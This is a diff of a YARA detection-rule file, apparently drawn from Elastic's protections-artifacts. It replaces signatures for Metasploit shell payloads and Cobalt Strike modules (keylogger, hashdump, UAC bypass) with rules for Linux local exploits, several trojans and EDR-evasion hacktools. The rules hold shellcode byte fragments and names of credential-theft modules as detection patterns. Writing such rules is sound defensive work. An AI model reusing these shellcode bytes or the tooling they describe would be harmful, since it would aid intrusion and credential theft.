@@ -64380,31 +68517,28 @@ rule ELASTIC_Linux_Trojan_Metasploit_2B0Ad6F0 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$str1 = { 48 31 FF 48 31 DB B3 18 48 29 DC 48 8D 14 24 48 C7 02 10 00 00 00 48 8D 74 24 08 6A 34 58 0F 05 48 FF C7 }
-		$str2 = { 48 FF CF 6A 02 5E 6A 21 58 0F 05 48 FF CE 79 }
-		$str3 = { 48 89 F3 BB 41 2F 73 68 B8 2F 62 69 6E 48 C1 EB 08 48 C1 E3 20 48 09 D8 50 48 89 E7 48 31 F6 48 89 F2 6A 3B 58 0F 05 }
+		$a = { E3 50 53 89 E1 89 C2 B0 0B CD 80 89 C3 31 C0 40 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Metasploit_Bf205D5A : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Local_2535C9B6 : FILE MEMORY
 {
 	meta:
-		description = "Detects x86 msfvenom bind IPv6 TCP shell payloads "
+		description = "Detects Linux Exploit Local (Linux.Exploit.Local)"
 		author = "Elastic Security"
-		id = "bf205d5a-2bba-497a-8d40-58422e91fe45"
-		date = "2024-05-07"
-		modified = "2024-05-21"
+		id = "2535c9b6-a575-4190-8e33-88758675e5b4"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Metasploit.yar#L373-L397"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2162a89f70edd7a7f93f8972c6a13782fb466cdada41f255f0511730ec20d037"
-		logic_hash = "9f4c84fadc3d7555c80efc9c9c5dcb01d4ea65d2ff191aa63ae8316f763ded3f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Local.yar#L161-L179"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d0f9cc114f6a1f788f36e359e03a9bbf89c075f41aec006229b6ad20ebbfba0b"
+		logic_hash = "222e929d8352ed02714a59b0e1b9777b0f2d80d63cb369fa9bf33460c84efbb2"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "91ac22c6302de26717f0666c59fa3765144df2d22d0c3a311a106bc1d9d2ae70"
-		threat_name = "Linux.Trojan.Metasploit"
+		fingerprint = "4ec419bfd0ac83da2f826ba4cbd6a4b05bbd7b6f6cc077529ec4667b7d2f761a"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -64412,34 +68546,28 @@ rule ELASTIC_Linux_Trojan_Metasploit_Bf205D5A : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$str1 = { 6A 7D 58 99 B2 07 B9 00 10 00 00 89 E3 66 81 E3 00 F0 CD 80 31 DB F7 E3 53 43 53 6A ?? 89 E1 B0 66 CD 80 }
-		$str2 = { 51 6A 04 54 6A 02 6A 01 50 }
-		$str3 = { 6A 0E 5B 6A 66 58 CD 80 89 F8 83 C4 14 59 5B 5E }
-		$str4 = { CD 80 93 B6 0C B0 03 CD 80 87 DF 5B B0 06 CD 80 }
-		$ipv6 = { 6A 02 5B 52 52 52 52 52 52 ?? ?? ?? ?? ?? 89 E1 6A 1C }
-		$socket = { 51 50 89 E1 6A 66 58 CD 80 D1 E3 B0 66 CD 80 57 43 B0 66 89 51 04 CD 80 }
+		$a = { E8 63 F9 FF FF 83 7D D8 FF 75 14 BF 47 12 40 00 }
 
 	condition:
-		3 of ($str*) and $ipv6 and $socket
+		all of them
 }
-rule ELASTIC_Linux_Trojan_Metasploit_E5B61173 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Local_6A9B5D50 : FILE MEMORY
 {
 	meta:
-		description = "Detects x86 msfvenom stageless TCP reverse shell payload"
+		description = "Detects Linux Exploit Local (Linux.Exploit.Local)"
 		author = "Elastic Security"
-		id = "e5b61173-cf1c-4176-bc43-550c0213ce98"
-		date = "2024-05-07"
-		modified = "2024-05-21"
+		id = "6a9b5d50-3cd4-4b64-9a52-713e1a8f02b2"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Metasploit.yar#L399-L420"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "8032a7a320102c8e038db16d51b8615ee49f04dab1444326463f75ce0c5947a5"
-		logic_hash = "f60d2de0b7fac06b62616d7c7f51e9374df3895eb30a07040e742cbcb462a418"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Local.yar#L181-L199"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "80ab71dc9ed2131b08b5b75b5a4a12719d499c6b6ee6819ad5a6626df4a1b862"
+		logic_hash = "99a18bfb62c195bdea89c688fed4456fee33477878ecdee8a78cd4bf18ad539b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "7052cce595dbbf36aed5e1edab12a75f06059e6267c859516011d8feb9e328e6"
-		threat_name = "Linux.Trojan.Metasploit"
+		fingerprint = "7eea1345492359984e9be089c3e7339b79927abcff0ae4a40a713e956bb25919"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -64447,31 +68575,28 @@ rule ELASTIC_Linux_Trojan_Metasploit_E5B61173 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$str1 = { 31 DB F7 E3 53 43 53 6A 02 89 E1 B0 66 CD 80 93 59 B0 3F CD 80 49 79 }
-		$str2 = { 89 E1 B0 66 50 51 53 B3 03 89 E1 CD 80 52 }
-		$str3 = { 89 E3 52 53 89 E1 B0 0B CD 80 }
+		$a = { E8 ?? F9 FF FF 83 7D D8 FF 75 14 BF ?? 13 40 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Metasploit_Dd5Fd075 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Local_66557224 : FILE MEMORY
 {
 	meta:
-		description = "Detects x86 msfvenom TCP bind shell payloads"
+		description = "Detects Linux Exploit Local (Linux.Exploit.Local)"
 		author = "Elastic Security"
-		id = "dd5fd075-bd52-47a9-b737-e55ab10a071d"
-		date = "2024-05-07"
-		modified = "2024-05-21"
+		id = "66557224-2c7a-4770-8333-8984d4a7b3f7"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Metasploit.yar#L422-L443"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b47132a92b66c32c88f39fe36d0287c6b864043273939116225235d4c5b4043a"
-		logic_hash = "f5101d5ddb1a84127e755677da70d9154849c546ac6ef0e7ef2639c82911eb92"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Local.yar#L201-L219"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f58151a2f653972e744822cdc420ab1c2b8b642877d3dfa2e8b2b6915e8edf40"
+		logic_hash = "5583f086d594ebdf5890a8a5fbee5c04fbddfe42adcae07480532d87e474ef0c"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "df2a4f90ec3227555671136c18931118fc9df32340d87aeb3f3fa7fdf2ba6179"
-		threat_name = "Linux.Trojan.Metasploit"
+		fingerprint = "88503c2e1e389866962704a8b19a47c22f758bb2cee9b76600e5d9bab125d4ca"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -64479,126 +68604,86 @@ rule ELASTIC_Linux_Trojan_Metasploit_Dd5Fd075 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$str1 = { 31 DB F7 E3 53 43 53 6A 02 89 E1 B0 66 CD 80 5B 5E 52 }
-		$str2 = { 6A 10 51 50 89 E1 6A 66 58 CD 80 89 41 04 B3 04 B0 66 CD 80 43 B0 66 CD 80 93 59 }
-		$str3 = { 6A 3F 58 CD 80 49 79 F8 68 2F 2F 73 68 68 2F 62 69 6E 89 E3 50 53 89 E1 B0 0B CD 80 }
+		$a = { FF FF 83 BD E4 FB FF FF FF 75 1A 83 EC 0C 68 24 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_C851687A : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Local_6229602F : FILE MEMORY
 {
 	meta:
-		description = "Identifies UAC Bypass module from Cobalt Strike"
+		description = "Detects Linux Exploit Local (Linux.Exploit.Local)"
 		author = "Elastic Security"
-		id = "c851687a-aac6-43e7-a0b6-6aed36dcf12e"
-		date = "2021-03-23"
-		modified = "2021-08-23"
+		id = "6229602f-1c88-46fa-8fae-a6268ed6d632"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L1-L37"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "7fac6fb24ac18bd69dd9f8f4090c4a77d1cc6554b6ae5c846e32d7666e5a1971"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Local.yar#L221-L239"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4fdb15663a405f6fc4379aad9a5021040d7063b8bb82403bedb9578d45d428fa"
+		logic_hash = "c3ab6a36c0c2d430d576f7c0cfdc6d1affcd99d007e2d05596677da9bda5a19e"
 		score = 75
-		quality = 25
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "70224e28a223d09f2211048936beb9e2d31c0312c97a80e22c85e445f1937c10"
-		threat_name = "Windows.Trojan.CobaltStrike"
+		fingerprint = "b26b21518fd436d79d6a23dbf3d7056b7c056e4df6639718e285de096476f61d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "bypassuac.dll" ascii fullword
-		$a2 = "bypassuac.x64.dll" ascii fullword
-		$a3 = "\\\\.\\pipe\\bypassuac" ascii fullword
-		$b1 = "\\System32\\sysprep\\sysprep.exe" wide fullword
-		$b2 = "[-] Could not write temp DLL to '%S'" ascii fullword
-		$b3 = "[*] Cleanup successful" ascii fullword
-		$b4 = "\\System32\\cliconfg.exe" wide fullword
-		$b5 = "\\System32\\eventvwr.exe" wide fullword
-		$b6 = "[-] %S ran too long. Could not terminate the process." ascii fullword
-		$b7 = "[*] Wrote hijack DLL to '%S'" ascii fullword
-		$b8 = "\\System32\\sysprep\\" wide fullword
-		$b9 = "[-] COM initialization failed." ascii fullword
-		$b10 = "[-] Privileged file copy failed: %S" ascii fullword
-		$b11 = "[-] Failed to start %S: %d" ascii fullword
-		$b12 = "ReflectiveLoader"
-		$b13 = "[-] '%S' exists in DLL hijack location." ascii fullword
-		$b14 = "[-] Cleanup failed. Remove: %S" ascii fullword
-		$b15 = "[+] %S ran and exited." ascii fullword
-		$b16 = "[+] Privileged file copy success! %S" ascii fullword
+		$a = { 89 C0 89 45 FC 83 7D FC 00 7D 17 68 ?? ?? 04 08 }
 
 	condition:
-		2 of ($a*) or 10 of ($b*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_0B58325E : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Shark_B918Ab75 : FILE MEMORY
 {
 	meta:
-		description = "Identifies Keylogger module from Cobalt Strike"
+		description = "Detects Linux Trojan Shark (Linux.Trojan.Shark)"
 		author = "Elastic Security"
-		id = "0b58325e-2538-434d-9a2c-26e2c32db039"
-		date = "2021-03-23"
-		modified = "2021-08-23"
+		id = "b918ab75-0701-4865-b798-521fdd2ffc28"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L39-L77"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "3822431e946fcc38c700cc8ce213e95f33a155d7f38b6ab2a24cb998d42c8521"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Shark.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8b6fe9f496996784e42b75fb42702aa47aefe32eac6f63dd16a0eb55358b6054"
+		logic_hash = "16302c29f2ae4109b8679933eb7fd9ef9306b0c215f20e8fff992b0b848974a9"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "8ecd5bdce925ae5d4f90cecb9bc8c3901b54ba1c899a33354bcf529eeb2485d4"
-		threat_name = "Windows.Trojan.CobaltStrike"
+		fingerprint = "15205d58af99b8eae14de2d5762fdc710ef682839967dd56f6d65bd3deaa7981"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "keylogger.dll" ascii fullword
-		$a2 = "keylogger.x64.dll" ascii fullword
-		$a3 = "\\\\.\\pipe\\keylogger" ascii fullword
-		$a4 = "%cE=======%c" ascii fullword
-		$a5 = "[unknown: %02X]" ascii fullword
-		$b1 = "ReflectiveLoader"
-		$b2 = "%c2%s%c" ascii fullword
-		$b3 = "[numlock]" ascii fullword
-		$b4 = "%cC%s" ascii fullword
-		$b5 = "[backspace]" ascii fullword
-		$b6 = "[scroll lock]" ascii fullword
-		$b7 = "[control]" ascii fullword
-		$b8 = "[left]" ascii fullword
-		$b9 = "[page up]" ascii fullword
-		$b10 = "[page down]" ascii fullword
-		$b11 = "[prtscr]" ascii fullword
-		$b12 = "ZRich9" ascii fullword
-		$b13 = "[ctrl]" ascii fullword
-		$b14 = "[home]" ascii fullword
-		$b15 = "[pause]" ascii fullword
-		$b16 = "[clear]" ascii fullword
+		$a = { 26 00 C7 46 14 0A 00 00 00 C7 46 18 15 00 00 00 EB 30 C7 46 14 04 00 }
 
 	condition:
-		1 of ($a*) and 14 of ($b*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_2B8Cddf8 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Coffloader_81Ba13B8 : FILE MEMORY
 {
 	meta:
-		description = "Identifies dll load module from Cobalt Strike"
+		description = "Detects Windows Hacktool Coffloader (Windows.Hacktool.COFFLoader)"
 		author = "Elastic Security"
-		id = "2b8cddf8-ca7a-4f85-be9d-6d8534d0482e"
-		date = "2021-03-23"
-		modified = "2021-08-23"
+		id = "81ba13b8-8994-4fe9-98e5-44514c554e8b"
+		date = "2024-04-22"
+		modified = "2024-05-08"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L79-L114"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "5502c06d33b93bae3bc25ba7dd6a5a9a3b0b2b43bb7e867e601ecb206bf503ed"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_COFFLoader.yar#L1-L43"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c2e03659eb1594dc958e01344cfa9ba126d66736b089db5e3dd1b1c3e3e7d2f7"
+		logic_hash = "d4f061af200a0ae9f3276fd6dfcb09ecdf662f29b7c43ea47c69a53d9fe66793"
 		score = 75
-		quality = 43
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "0d7d28d79004ca61b0cfdcda29bd95e3333e6fc6e6646a3f6ba058aa01bee188"
-		threat_name = "Windows.Trojan.CobaltStrike"
+		fingerprint = "ef9f11d9cd6c3b46f7d13ea039dcad6fa24515495466b1102ec8c1c8bed8853e"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -64606,117 +68691,113 @@ rule ELASTIC_Windows_Trojan_Cobaltstrike_2B8Cddf8 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\dllload.x64.o" ascii fullword
-		$a2 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\dllload.x86.o" ascii fullword
-		$b1 = "__imp_BeaconErrorDD" ascii fullword
-		$b2 = "__imp_BeaconErrorNA" ascii fullword
-		$b3 = "__imp_BeaconErrorD" ascii fullword
-		$b4 = "__imp_BeaconDataInt" ascii fullword
-		$b5 = "__imp_KERNEL32$WriteProcessMemory" ascii fullword
-		$b6 = "__imp_KERNEL32$OpenProcess" ascii fullword
-		$b7 = "__imp_KERNEL32$CreateRemoteThread" ascii fullword
-		$b8 = "__imp_KERNEL32$VirtualAllocEx" ascii fullword
-		$c1 = "__imp__BeaconErrorDD" ascii fullword
-		$c2 = "__imp__BeaconErrorNA" ascii fullword
-		$c3 = "__imp__BeaconErrorD" ascii fullword
-		$c4 = "__imp__BeaconDataInt" ascii fullword
-		$c5 = "__imp__KERNEL32$WriteProcessMemory" ascii fullword
-		$c6 = "__imp__KERNEL32$OpenProcess" ascii fullword
-		$c7 = "__imp__KERNEL32$CreateRemoteThread" ascii fullword
-		$c8 = "__imp__KERNEL32$VirtualAllocEx" ascii fullword
+		$a1 = "BeaconDataParse" ascii fullword
+		$a2 = "BeaconDataInt" ascii fullword
+		$a3 = "BeaconDataShort" ascii fullword
+		$a4 = "BeaconDataLength" ascii fullword
+		$a5 = "BeaconDataExtract" ascii fullword
+		$a6 = "BeaconFormatAlloc" ascii fullword
+		$a7 = "BeaconFormatReset" ascii fullword
+		$a8 = "BeaconFormatFree" ascii fullword
+		$a9 = "BeaconFormatAppend" ascii fullword
+		$a10 = "BeaconFormatPrintf" ascii fullword
+		$a11 = "BeaconFormatToString" ascii fullword
+		$a12 = "BeaconFormatInt" ascii fullword
+		$a13 = "BeaconPrintf" ascii fullword
+		$a14 = "BeaconOutput" ascii fullword
+		$a15 = "BeaconUseToken" ascii fullword
+		$a16 = "BeaconRevertToken" ascii fullword
+		$a17 = "BeaconDataParse" ascii fullword
+		$a18 = "BeaconIsAdmin" ascii fullword
+		$a19 = "BeaconGetSpawnTo" ascii fullword
+		$a20 = "BeaconSpawnTemporaryProcess" ascii fullword
+		$a21 = "BeaconInjectProcess" ascii fullword
+		$a22 = "BeaconInjectTemporaryProcess" ascii fullword
+		$a23 = "BeaconCleanupProcess" ascii fullword
+		$b1 = "COFFLoader.x64.dll"
+		$b2 = "COFFLoader.x86.dll"
 
 	condition:
-		1 of ($a*) or 5 of ($b*) or 5 of ($c*)
+		5 of ($a*) or 1 of ($b*)
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_59B44767 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Rooter_C8D08D3A : FILE MEMORY
 {
 	meta:
-		description = "Identifies getsystem module from Cobalt Strike"
+		description = "Detects Linux Trojan Rooter (Linux.Trojan.Rooter)"
 		author = "Elastic Security"
-		id = "59b44767-c9a5-42c0-b177-7fe49afd7dfb"
-		date = "2021-03-23"
-		modified = "2021-08-23"
+		id = "c8d08d3a-ff9c-4545-9f09-45fbe5b534f3"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L116-L142"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "7027d0dcbdb1961d2604f29392a923957d298a047c268553599ea8c881f76a98"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Rooter.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f55e3aa4d875d8322cdd7caa17aa56e620473fe73c9b5ae0e18da5fbc602a6ba"
+		logic_hash = "c91f3112cc61acec08ab3cd59bab2ae833ba0d8ac565ffb26a46982f38af0e71"
 		score = 75
-		quality = 69
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "882886a282ec78623a0d3096be3d324a8a1b8a23bcb88ea0548df2fae5e27aa5"
-		threat_name = "Windows.Trojan.CobaltStrike"
+		fingerprint = "2a09f9fabfefcf44c71ee17b823396991940bedd7a481198683ee3e88979edf4"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\getsystem.x86.o" ascii fullword
-		$a2 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\getsystem.x64.o" ascii fullword
-		$b1 = "getsystem failed." ascii fullword
-		$b2 = "_isSystemSID" ascii fullword
-		$b3 = "__imp__NTDLL$NtQuerySystemInformation@16" ascii fullword
-		$c1 = "getsystem failed." ascii fullword
-		$c2 = "$pdata$isSystemSID" ascii fullword
-		$c3 = "$unwind$isSystemSID" ascii fullword
-		$c4 = "__imp_NTDLL$NtQuerySystemInformation" ascii fullword
+		$a = { D8 DC 04 08 BB 44 C3 04 08 CD 80 C7 05 48 FB 04 }
 
 	condition:
-		1 of ($a*) or 3 of ($b*) or 3 of ($c*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_7Efd3C3F : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_EDRWFP_F6D7Db7A : FILE
 {
 	meta:
-		description = "Identifies Hashdump module from Cobalt Strike"
+		description = "Detects Windows Hacktool Edrwfp (Windows.Hacktool.EDRWFP)"
 		author = "Elastic Security"
-		id = "7efd3c3f-1104-4b46-9d1e-dc2c62381b8c"
-		date = "2021-03-23"
-		modified = "2021-08-23"
+		id = "f6d7db7a-c55e-41dc-859b-6431464e72f4"
+		date = "2024-06-10"
+		modified = "2024-07-02"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L144-L168"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "45a0aaba6c1be016fc5f4051680ee7e3aa62e8a5d9730b7adab08c14ae37da24"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_EDRWFP.yar#L1-L22"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a1fc2f3ded852f75e36e70ae39087e21ae5b6af10e2038d04e61bd500ba511e2"
+		logic_hash = "45d427e4f52346b4a18c154bb0afb636c18951fd9c7323846bf2eb7e47928ef6"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "9e7c7c9a7436f5ee4c27fd46d6f06e7c88f4e4d1166759573cedc3ed666e1838"
-		threat_name = "Windows.Trojan.CobaltStrike"
-		severity = 70
+		tags = "FILE"
+		fingerprint = "11e4224f53ddb5ef18aef5efeaa7ec6ec00072e57db5189e29a04feae6b3da31"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "hashdump.dll" ascii fullword
-		$a2 = "hashdump.x64.dll" ascii fullword
-		$a3 = "\\\\.\\pipe\\hashdump" ascii fullword
-		$a4 = "ReflectiveLoader"
-		$a5 = "Global\\SAM" ascii fullword
-		$a6 = "Global\\FREE" ascii fullword
-		$a7 = "[-] no results." ascii fullword
+		$s1 = "elastic-endpoint.exe"
+		$s2 = "elastic-agent.exe"
+		$s3 = "MsMpEng.exe"
+		$s4 = "FwpmFilterAdd0"
 
 	condition:
-		4 of ($a*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_6E971281 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Diceloader_B32C6B99 : FILE MEMORY
 {
 	meta:
-		description = "Identifies Interfaces module from Cobalt Strike"
+		description = "Detects Windows Trojan Diceloader (Windows.Trojan.Diceloader)"
 		author = "Elastic Security"
-		id = "6e971281-3ee3-402f-8a72-745ec8fb91fb"
-		date = "2021-03-23"
+		id = "b32c6b99-f634-4c6f-98f4-39954ef15afa"
+		date = "2021-04-23"
 		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_CobaltStrike.yar#L170-L201"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "f204965c0118dbdfe7e134d319c92b30d22585e888609ff31df90643116a2c38"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Diceloader.yar#L1-L25"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a3b3f56a61c6dc8ba2aa25bdd9bd7dc2c5a4602c2670431c5cbc59a76e2b4c54"
+		logic_hash = "f9e023f340edc4c46b2926e750c2ad3a3798e34415e43c0ea2d83073e3dc526a"
 		score = 75
-		quality = 51
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "62d97cf73618a1b4d773d5494b2761714be53d5cda774f9a96eaa512c8d5da12"
-		threat_name = "Windows.Trojan.CobaltStrike"
+		fingerprint = "15d4bc57c03a560608ae69551aa46d1786072b3d78d747512f8ac3e6822a7b93"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -64724,41 +68805,34 @@ rule ELASTIC_Windows_Trojan_Cobaltstrike_6E971281 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\interfaces.x64.o" ascii fullword
-		$a2 = "Z:\\devcenter\\aggressor\\external\\pxlib\\bin\\interfaces.x86.o" ascii fullword
-		$b1 = "__imp_BeaconFormatAlloc" ascii fullword
-		$b2 = "__imp_BeaconFormatPrintf" ascii fullword
-		$b3 = "__imp_BeaconOutput" ascii fullword
-		$b4 = "__imp_KERNEL32$LocalAlloc" ascii fullword
-		$b5 = "__imp_KERNEL32$LocalFree" ascii fullword
-		$b6 = "__imp_LoadLibraryA" ascii fullword
-		$c1 = "__imp__BeaconFormatAlloc" ascii fullword
-		$c2 = "__imp__BeaconFormatPrintf" ascii fullword
-		$c3 = "__imp__BeaconOutput" ascii fullword
-		$c4 = "__imp__KERNEL32$LocalAlloc" ascii fullword
-		$c5 = "__imp__KERNEL32$LocalFree" ascii fullword
-		$c6 = "__imp__LoadLibraryA" ascii fullword
+		$a1 = "D$0GET " ascii fullword
+		$a2 = "D$THostf" ascii fullword
+		$a3 = "D$,POST" ascii fullword
+		$a4 = "namef" ascii fullword
+		$a5 = "send" ascii fullword
+		$a6 = "log.ini" wide
+		$a7 = { 70 61 73 73 00 00 65 6D 61 69 6C 00 00 6C 6F 67 69 6E 00 00 73 69 67 6E 69 6E 00 00 61 63 63 6F 75 6E 74 00 00 70 65 72 73 69 73 74 65 6E 74 00 00 48 6F 73 74 3A 20 }
 
 	condition:
-		1 of ($a*) or 4 of ($b*) or 4 of ($c*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Cobaltstrike_09B79Efa : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Diceloader_15Eeb7B9 : FILE MEMORY
 {
 	meta:
-		description = "Identifies Invoke Assembly module from Cobalt Strike"
